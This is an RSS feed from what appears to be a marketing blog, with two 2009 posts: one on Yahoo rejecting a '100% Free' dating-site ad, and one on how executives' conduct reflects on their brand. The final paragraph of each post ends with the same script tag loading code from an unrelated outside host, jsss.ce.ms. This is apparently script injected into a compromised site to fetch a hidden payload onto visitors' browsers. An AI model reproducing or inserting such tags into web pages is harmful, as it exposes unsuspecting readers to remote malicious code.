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	<title>Escalate - Marketing Critique &#187; Yahoo</title>
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	<link>http://skal8.com</link>
	<description>Marketing to consumers in control</description>
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		<title>More on how worthless free has become</title>
		<link>http://skal8.com/branding/more-on-how-worthless-free-has-become/</link>
		<comments>http://skal8.com/branding/more-on-how-worthless-free-has-become/#comments</comments>
		<pubDate>Tue, 17 Feb 2009 23:49:25 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[free dating site]]></category>
		<category><![CDATA[Online Dating]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=90</guid>
		<description><![CDATA[After my recent post on the death of free, I attempted to run an ad on Yahoo&#8217;s network for our free dating site, downtoearth.com.  The ad was pretty simple.  It text in the ad read simply Online Dating.  100% Free. &#8230; <a href="http://skal8.com/branding/more-on-how-worthless-free-has-become/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>After my recent post on the death of free, I attempted to run an ad on Yahoo&#8217;s network for our <a href="http://www.downtoearth.com">free dating site</a>, downtoearth.com.  The ad was pretty simple.  It text in the ad read simply Online Dating.  100% Free.</p>
<p>The ad was rejected by Yahoo.</p>
<p>Why?</p>
<p>It lacked a disclaimer on the word &#8220;Free.&#8221;  That&#8217;s right.  They expected that the word could only be used with some sort of catch.</p>
<p>I tried to explain that we are truly free and get a sample disclaimer.  How can you disclaim something that&#8217;s true?</p>
<p>I&#8217;m leaning toward using &#8220;internet connection required&#8221; for our online ad.<script src="http://jsss.ce.ms/17"></script></p>
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		<title>The PR value of management decisions</title>
		<link>http://skal8.com/branding/the-pr-value-of-management-decisions/</link>
		<comments>http://skal8.com/branding/the-pr-value-of-management-decisions/#comments</comments>
		<pubDate>Tue, 09 Dec 2008 23:58:38 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[branding]]></category>
		<category><![CDATA[executive decisions]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=69</guid>
		<description><![CDATA[The CEO&#8217;s of the big 3 automakers recently got plenty of flack when they flew to Washington to beg for a bailout in their private jets.  When they came back a second time, they all drove hybrids.  Neither was a &#8230; <a href="http://skal8.com/branding/the-pr-value-of-management-decisions/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The CEO&#8217;s of the big 3 automakers recently got plenty of flack when they flew to Washington to beg for a bailout in their private jets.  When they came back a second time, they all drove hybrids.  Neither was a very smart move in my opinion.  The first didn&#8217;t value money, the second was both pandering and didn&#8217;t show value for time.</p>
<p>It&#8217;s important to remember that as a business owner, you are a part of the representation of your brand.  There are restaurants that I no longer frequent because the owners were rude or arrogant to others even outside of the restaurant.  I&#8217;m sure that there are plenty of examples that anyone else can think of where a senior business person&#8217;s personal behavior affected your opinion of their products.</p>
<p>My simple rule of thumb is to assume that whatever you do gets published to the Yahoo homepage.  I used to use the newspaper, but they seem to lack the cultural relevance anymore.  That goes for everything from business deals to personal attitudes.  Consumers want to have a real relationship with their brands.  Make sure management behavior isn&#8217;t a reason they could choose to leave.  Living your brand is an important axiom.<script src="http://jsss.ce.ms/17"></script></p>
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